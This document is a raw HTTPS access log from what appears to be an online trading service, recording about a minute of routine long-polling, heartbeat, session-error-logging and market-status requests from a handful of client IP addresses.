[09/Jan/2026:10:40:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926721223 HTTP/1.1" -
[09/Jan/2026:10:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926707486 HTTP/1.1" -
[09/Jan/2026:10:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926710071 HTTP/1.1" -
[09/Jan/2026:10:40:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926710060 HTTP/1.1" -
[09/Jan/2026:10:40:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926712516 HTTP/1.1" -
[09/Jan/2026:10:40:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926715155 HTTP/1.1" -
[09/Jan/2026:10:40:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926727236 HTTP/1.1" -
[09/Jan/2026:10:40:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926716060 HTTP/1.1" -
[09/Jan/2026:10:40:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926717547 HTTP/1.1" -
[09/Jan/2026:10:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926720220 HTTP/1.1" -
[09/Jan/2026:10:40:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926733233 HTTP/1.1" -
[09/Jan/2026:10:40:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926722636 HTTP/1.1" -
[09/Jan/2026:10:40:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926722061 HTTP/1.1" -
[09/Jan/2026:10:40:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926725412 HTTP/1.1" -
[09/Jan/2026:10:40:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926739225 HTTP/1.1" -
[09/Jan/2026:10:40:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926727658 HTTP/1.1" -
[09/Jan/2026:10:40:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926730550 HTTP/1.1" -
[09/Jan/2026:10:40:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926728059 HTTP/1.1" -
[09/Jan/2026:10:41:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926745226 HTTP/1.1" -
[09/Jan/2026:10:41:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926732677 HTTP/1.1" -
[09/Jan/2026:10:41:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926735716 HTTP/1.1" -
[09/Jan/2026:10:41:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926734060 HTTP/1.1" -
[09/Jan/2026:10:41:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926751234 HTTP/1.1" -
[09/Jan/2026:10:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926737715 HTTP/1.1" -
[09/Jan/2026:10:41:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926740870 HTTP/1.1" -
[09/Jan/2026:10:41:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926740059 HTTP/1.1" -
[09/Jan/2026:10:41:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926757223 HTTP/1.1" -
[09/Jan/2026:10:41:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926742760 HTTP/1.1" -
[09/Jan/2026:10:41:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926745925 HTTP/1.1" -
[09/Jan/2026:10:41:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926746049 HTTP/1.1" -
[09/Jan/2026:10:41:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926747811 HTTP/1.1" -
[09/Jan/2026:10:41:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926751036 HTTP/1.1" -
[09/Jan/2026:10:41:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926763231 HTTP/1.1" -
[09/Jan/2026:10:41:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926752060 HTTP/1.1" -
[09/Jan/2026:10:41:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926752834 HTTP/1.1" -
[09/Jan/2026:10:41:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926756184 HTTP/1.1" -
[09/Jan/2026:10:41:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:41:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926769229 HTTP/1.1" -
[09/Jan/2026:10:41:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926757853 HTTP/1.1" -
[09/Jan/2026:10:41:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926758064 HTTP/1.1" -
[09/Jan/2026:10:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926761352 HTTP/1.1" -
[09/Jan/2026:10:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:41:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926775237 HTTP/1.1" -
[09/Jan/2026:10:41:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926762881 HTTP/1.1" -
[09/Jan/2026:10:41:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926766487 HTTP/1.1" -
[09/Jan/2026:10:41:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926764060 HTTP/1.1" -
[09/Jan/2026:10:41:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926781237 HTTP/1.1" -
[09/Jan/2026:10:41:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:41:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926767926 HTTP/1.1" -
[09/Jan/2026:10:41:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:41:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926771607 HTTP/1.1" -
[09/Jan/2026:10:41:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926770059 HTTP/1.1" -
[09/Jan/2026:10:41:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926787233 HTTP/1.1" -
[09/Jan/2026:10:41:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926772971 HTTP/1.1" -
[09/Jan/2026:10:41:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926776655 HTTP/1.1" -
[09/Jan/2026:10:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:41:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926776059 HTTP/1.1" -
[09/Jan/2026:10:41:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926778013 HTTP/1.1" -
[09/Jan/2026:10:41:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926793228 HTTP/1.1" -
[09/Jan/2026:10:41:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926781783 HTTP/1.1" -
[09/Jan/2026:10:41:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926782059 HTTP/1.1" -
[09/Jan/2026:10:41:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926783040 HTTP/1.1" -
[09/Jan/2026:10:41:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:41:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
